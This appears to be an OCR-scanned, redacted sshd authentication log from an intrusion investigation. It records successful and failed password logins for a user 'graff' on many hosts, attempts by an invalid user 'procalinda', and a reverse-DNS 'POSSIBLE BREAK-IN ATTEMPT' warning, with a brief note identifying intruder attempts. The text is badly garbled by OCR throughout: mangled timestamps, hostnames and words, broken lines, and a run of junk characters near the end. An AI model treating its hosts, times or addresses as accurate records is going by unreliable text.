2522 iorek sshd(23836): Accepted password for graff from
(b)(6),(b)(7)(C) port 42180 ssh2
Feb 1 : 382 aturn sshd(313): [(ID 702911 local2.info) connection from

(b)(6).(b)Y(7XC) '

128 capella sshd[25392): Accepted password for graff from
(b}(6),(b)(7)(C) | port 58816 ssh2
Feb 12 07:48:53 karma sshd{[26514): Did not receive identification string

from
Feb 12 07:52:48 cfal0 sshd[19227): Accepted password for graff from

port 57858 ssh2
Feb 12 07:53:36 snail sshd[2111): Accepted password for graff from

[BX6LBXTXC) | port 56724 ssh2
Feb 12 07:54:31 iotacfa2 sshd[16943]): Failed password for root from

BIEETEL_ ] port 59370 ssh2
Feb 12 07:54:34 iotacfa2 sshd{16946): Connection closed by

Feb 12 07:54:45 iotacfa2 sshd[16957): Accepted password for graff from

(b)(6),(B)7)C) ____Jport 59374 ssh2

Feb 12 07:56:37 {(b)(8).(b)(7)(]sshd [4849) : Accepted password for graff from
(b)(6),(b)(7)(C) port 45924 ssh2

Feb 12 10:27:33 cfal sshd[25341): Failed password for graff from

IZbHS),(:M?)ZC) |port 33136 ssh2
Feb 12 10:27:46 cfa0 sshd{25351]: Connection closed by
Ff from

Feb 12 10:28:03 snail sshd[25058): Failed password for gra

|gb)§6) gb;mgc ‘or’c 51969 ssh2
Feb 12 10 28:04 snail sshd[25061]: Connection closed by [(B)©).(B)7)C) |
bear sshd{7054): Failed password for graff from

b)(e) (b)( )(C) port 58345 ssh2
8 Connection closed by W]

9 bear sshd[7057]:

Afterassword is disabled, here are the attempts from intruder
IP's and gareth's accounts including strange procalinda:
Feb 12 09:03:38 raspberry sshd[28486): Received disconnect from
13: Unable to authenticate
Feb 12 09:06:29 pisces sshd{10478): Invalid user procalinda from

Feb 12 09:06:39 laozi sshd[6060)}: Accepted password for achung from

[BXELENTIC]__Jport 49607 ssh2
Feb 12 09:06:39 pisces sshd{10478): Failed password for invalid user

procalinda from port 4873 ssh2
Feb 12 09:06:41 pisces sshd[10481]: Received disconnect from

13: Unable to authenticate
Feb 12 09:24:58 mars sshd[16665]: Failed password for graff from

|gszsz.gb252}gcl | port 55550 ssh2
E‘eb ]LZ 09:25:40 mars sshd[16665): Failed password for graff from

port 55550 ssh2
09:25:40 mars sshd[16668]: Connection closed by |(b)(6),(b)7)(C)]

e
Feb 12 09:26:05 mars sshd[16679]): Failed password for graff from

(b)(6),(b)(7XC) | port 55573 ssh2



240:32 mars sshd{17006]: Failed pagsword for graff from

) rt 55681 ssh2

Feb 12 09:40:35 mars $3hd(17009]): Connection closed by 82.91.94.127
Feb 12 12:57:36 cfcdpl rpc.nisd_resolv[162): [ID 601014 n.error}
Ares_gethostbyaddr: www,flashlightmedia.de lamﬁo

Feb 12 12:57:41 cfedpl ¥pc,uisd resolv(162): [ID 60103
nres_gethostbyaddr: www, flashlightmedia.de !={(bYBLIBYTY
Feb 12 12:57:41 jupiter 98hd[22281]; Addressa[lbY8).(BYINC) . ks ps to
wwyw.flashlightmedia.de, but this does not map back to the address -~ pPO-
SSIBLE BREAK~IN ATTEMPT| :
Feb 12 12:;57:47 Jupiter sshdf22281): pam_unixz{sshd:auth): authentication
failure; logname= uidm0 euids=0 tty=ssh ruser= rhost={{EX8).(BYTNC) |
useragraff

Feb 12 12:57:48 4upiter &8shd[22281): Failed password for graff from
[EBLEXTHG) dpore 53239 ssh :

i37:51 jupiter s8hd[22284] : Received disconnect from
Mﬁ 13: Unable to authenticate
”#ﬂ"ﬁ”ﬂ“##”ﬂiMi#ﬂl"ﬂl"”l"“##"#"i#_i“#“!ﬂ#ﬂ“u#i#ﬂ
#“#“iﬂ#”"ﬂHll##ﬂl#"ﬂ"#ﬂ

n.arror}
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